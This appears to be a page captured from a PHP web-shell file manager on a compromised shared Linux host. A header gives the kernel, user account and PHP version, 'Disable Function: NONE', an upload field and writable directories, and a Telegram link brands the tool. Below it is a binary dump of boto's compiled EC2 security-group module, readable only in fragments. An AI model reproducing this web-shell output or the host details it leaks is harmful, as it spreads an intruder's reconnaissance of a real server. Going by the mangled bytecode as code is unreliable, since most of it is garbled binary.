https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/ec2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/ec2/__pycache__/securitygroup.cpython-310.pyc
o

ckF[_9�@s`dZddlmZddlmZGdd�de�ZGdd�de�ZGdd	�d	e�Z	Gd
d�de�Z
dS)
z"
Represents an EC2 Security Group
�)�TaggedEC2Object)�BotoClientErrorcs�eZdZ		d�fdd�	Zdd�Z�fdd�Zdd	�Zddd�Z	
dd
d�Z	
ddd�Z			
ddd�Z
		
ddd�Zddd�Zddd�Z
�ZS)�
SecurityGroupNcsBtt|��|�||_||_||_||_d|_t�|_	t�|_
dS�N)�superr�__init__�id�owner_id�name�description�vpc_id�IPPermissionsList�rules�rules_egress)�self�
connectionr	r
rr��	__class__��8/usr/lib/python3/dist-packages/boto/ec2/securitygroup.pyr szSecurityGroup.__init__cCs
d|jS)NzSecurityGroup:%s)r
�rrrr�__repr__+s
zSecurityGroup.__repr__cs@tt|��|||�}|dur|S|dkr|jS|dkr|jSdS)N�
ipPermissions�ipPermissionsEgress)rr�startElementrr)rr
�attrsr�retvalrrrr.szSecurityGroup.startElementcCs�|dkr	||_dS|dkr||_dS|dkr||_dS|dkr$||_dS|dkr-||_dS|dkr3dS|dkrR|dkr@d	|_dS|d
krId|_dStd||jf��t|||�dS)
N�ownerId�groupId�	groupName�vpcId�groupDescription�ipRanges�return�falseF�trueTz*Unexpected value of status %s for group %s)r	rr
rr�status�	Exception�setattr�rr
�valuerrrr�
endElement9s0






��zSecurityGroup.endElementFcCs*|jr|jj|j|d�S|jj|j|d�S)N)�group_id�dry_run�r-)rr�delete_security_grouprr
)rr-rrr�deleteUs��zSecurityGroup.deletec	
Cs>t|�}	||	_||	_||	_|j�|	�|	j|||||d�dS)z�
        Add a rule to the SecurityGroup object.  Note that this method
        only changes the local version of the object.  No information
        is sent to EC2.
        r.N)�
IPPermissions�ip_protocol�	from_port�to_portr�append�	add_grant)
rr2r3r4�src_group_name�src_group_owner_id�cidr_ip�src_group_group_idr-�rulerrr�add_ruleas
�zSecurityGroup.add_rulec	
Cs�|jstd��d}	|jD]F}
|
j|krE|
j|krE|
j|krE|
}	d}|
jD]}|j|ks0|j|kr<|j|kr<|j	|kr<|}q$|rE|
j�
|�t|
j�dkrR|j�
|	�qdS)z�
        Remove a rule to the SecurityGroup object.  Note that this method
        only changes the local version of the object.  No information
        is sent to EC2.
        zThe security group has no rulesNr)r�
ValueErrorr2r3r4�grantsr
r,r	r9�remove�len)
rr2r3r4r7r8r9r:r-�target_ruler;�target_grant�grantrrr�remove_rulevs*






���zSecurityGroup.remove_rulecCs�d}|js|j}d}|jr|j}d}	d}
d}|r0d}|j}
|js$|j}	nt|d�r-|j}n|j}|jj||	|
|||||||d�
}|r\t|t	�sJ|g}|D]}
|j
||||	|
|
||d�qL|S)a
        Add a new rule to this security group.
        You need to pass in either src_group_name
        OR ip_protocol, from_port, to_port,
        and cidr_ip.  In other words, either you are authorizing another
        group or you are authorizing some ip-based rule.

        :type ip_protocol: string
        :param ip_protocol: Either tcp | udp | icmp

        :type from_port: int
        :param from_port: The beginning port number you are enabling

        :type to_port: int
        :param to_port: The ending port number you are enabling

        :type cidr_ip: string or list of strings
        :param cidr_ip: The CIDR block you are providing access to.
                        See http://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing

        :type src_group: :class:`boto.ec2.securitygroup.SecurityGroup` or
                         :class:`boto.ec2.securitygroup.GroupOrCIDR`
        :param src_group: The Security Group you are granting access to.

        :rtype: bool
        :return: True if successful.
        Nr,r.)rr
rr	�hasattrr,r�authorize_security_group�
isinstance�listr<)rr2r3r4r9�	src_groupr-�
group_namer,r7r8r:r&�single_cidr_iprrr�	authorize�sJ
�

�zSecurityGroup.authorizec
Cs�d}|js|j}d}|jr|j}d}	d}
d}|r0d}|j}
|js$|j}	nt|d�r-|j}n|j}|jj||	|
|||||||d�
}|rO|j||||	|
|||d�|S)Nr,r.)	rr
rr	rEr,r�revoke_security_grouprD)
rr2r3r4r9rIr-rJr,r7r8r:r&rrr�revoke�sD
�
�zSecurityGroup.revokec
Cs�|j|jkr
td��|j��}|jdi|��}|j|p|j|j|d�}g}|jD]3}|j	D]-}	|	jp4|	j
}
|
rL|
|vrK|�|
�|jdddd|	|d�q-|j|j
|j|j|	j|d�q-q(|S)a{
        Create a copy of this security group in another region.
        Note that the new security group will be a separate entity
        and will not stay in sync automatically after the copy
        operation.

        :type region: :class:`boto.ec2.regioninfo.RegionInfo`
        :param region: The region to which this security group will be copied.

        :type name: string
        :param name: The name of the copy.  If not supplied, the copy
                     will have the same name as this security group.

        :rtype: :class:`boto.ec2.securitygroup.SecurityGroup`
        :return: The new security group.
        z!Unable to copy to the same Regionr.Nr)r
�regionrr�
get_params�connect�create_security_grouprrr>r,r5rLr2r3r4r9)rrOr
r-�conn_params�rconn�sg�
source_groupsr;rC�	grant_nomrrr�copy_to_region�s2
�


����
zSecurityGroup.copy_to_regioncCsVg}|jr|�|jjd|ji|d��n|�|jjd|ji|d��dd�|D�}|S)z�
        Find all of the current instances that are running within this
        security group.

        :rtype: list of :class:`boto.ec2.instance.Instance`
        :return: A list of Instance objects
        zinstance.group-id)�filtersr-zgroup-idcSsg|]
}|jD]}|�qqSr)�	instances)�.0�r�irrr�
<listcomp>5sz+SecurityGroup.instances.<locals>.<listcomp>)r�extendr�get_all_reservationsr)rr-�rsrZrrrrZ"s

�
�zSecurityGroup.instances)NNNNN)F)NNNNNF)NF)�__name__�
__module__�__qualname__rrrr+r0r<rDrLrNrXrZ�
__classcell__rrrrrs(�

�
�
�C
�
%(rc@seZdZdd�Zdd�ZdS)r
cCs"|dkr|�t|��|dSdS�N�item���)r5r1�rr
rrrrrr;szIPPermissionsList.startElementcC�dSrrr)rrrr+A�zIPPermissionsList.endElementN)rbrcrdrr+rrrrr
9sr
c@s<eZdZd
dd�Zdd�Zdd�Zdd	�Z		
ddd�ZdS)r1NcCs"||_d|_d|_d|_g|_dSr)�parentr2r3r4r>�rrlrrrrGs

zIPPermissions.__init__cCsd|j|j|jfS)NzIPPermissions:%s(%s-%s))r2r3r4rrrrrNs�zIPPermissions.__repr__cCs&|dkr|j�t|��|jdSdSrf)r>r5�GroupOrCIDRrirrrrRs
zIPPermissions.startElementcCsF|dkr	||_dS|dkr||_dS|dkr||_dSt|||�dS)N�
ipProtocol�fromPort�toPort)r2r3r4r(r)rrrr+Xs


zIPPermissions.endElementFcCs0t|�}||_||_||_||_|j�|�|Sr)rnr	r,r
r9r>r5)rr
r	r9r,r-rCrrrr6bszIPPermissions.add_grantr)NNNNF)rbrcrdrrrr+r6rrrrr1Es

�r1c@s.eZdZd
dd�Zdd�Zdd�Zdd	�ZdS)rnNcCsd|_d|_d|_d|_dSr)r	r,r
r9rmrrrros
zGroupOrCIDR.__init__cCs&|jrd|jSd|jp|j|jfS)Nz%sz%s-%s)r9r
r,r	rrrrrus
zGroupOrCIDR.__repr__cCrjrrrirrrr{rkzGroupOrCIDR.startElementcCsP|dkr||_n|dkr||_n|dkr||_|dkr ||_dSt|||�dS)N�userIdrr�cidrIp)r	r,r
r9r(r)rrrr+~s
zGroupOrCIDR.endElementr)rbrcrdrrrr+rrrrrnms

rnN)�__doc__�boto.ec2.ec2objectr�boto.exceptionrrrHr
�objectr1rnrrrr�<module>s(

https://t.me/RX1948 - 2025